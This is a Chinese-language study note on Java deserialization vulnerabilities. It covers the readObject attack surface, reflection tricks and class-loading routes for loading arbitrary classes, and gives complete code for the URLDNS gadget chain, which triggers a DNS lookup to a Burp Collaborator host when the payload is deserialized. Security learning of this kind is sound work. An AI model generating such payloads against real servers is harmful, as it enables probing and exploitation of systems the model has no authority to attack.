一、反序列化入门基础
writeObject:序列化
readObject:反序列化
有的类因为自身需要,会重写序列化与反序列化方法。
反序列化产生安全的原因:
服务端反序列化数据时,会自动执行客户端传递过来的类中的readObject方法,这样就会在服务器上执行代码。
可能存在反序列化的地方:
1.入口类的readObject直接调用危险方法。(不太可能)
2.入口类参数中包含可控类,该类有危险方法,readObject()时调用。(比如下面举的URLDNS链)
3.入口类参数中包含可控类,该类有调用其它有危险方法的类,readObject时调用。
Java反射机制在反序列化漏洞中的应用:
1.定制需要的对象;
2.通过invoke调用出了同名函数以外的函数;
3.通过Class类创建对象,引入不能序列化的类。(比如Runtime)
下面是一个URLDNS链的代码,详细的解析见文章:
Java安全学习—URLDNS链 - FreeBuf网络安全行业门户
序列化代码:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsClient {
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://cdtq2a2rtph2aed620pb8nzmido8cx.burpcollaborator.net");
Class<?> clazz = Class.forName("java.net.URL");
// 获取URL类的hashCode属性,该值默认为-1
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
// 将hashCode的值设为-1之外的值,因为URL类中的hashCode()方法在hashCode为-1之外的值时,会直接返回hashCode,如果为-1,才会执行handler.hashCode(this)方法,发起后续的DNS解析请求
field.set(url, 123);
map.put(url, "2333");
// 将url对象放入map中后,需要讲属性重新设置为-1,这样在反序列的时候,才会执行handler.hashCode(this)方法
field.set(url, -1);
FileOutputStream fileOutputStream = new FileOutputStream("demo.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(map);
fileOutputStream.close();
objectOutputStream.close();
}
}
反序列化代码:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UrlDnsServer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream inputStream = new FileInputStream("demo.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}
}
20220421更新
类加载机制
1.类加载机制与反序列化
类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
2.动态类加载方法
Class.forname
初始化/不初始化
ClassLoader.loadClass不进行初始化
底层的原理,实现加载任意的类
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
loadClass->findClass(重写的方法)->defineClass(从字节码加载类)
URLClassLoader 任意类加载:file/http/jar
ClassLoader.defineClass 字节码加载任意类 私有
Unsafe.defineClass 字节码加载 public类不能直接生成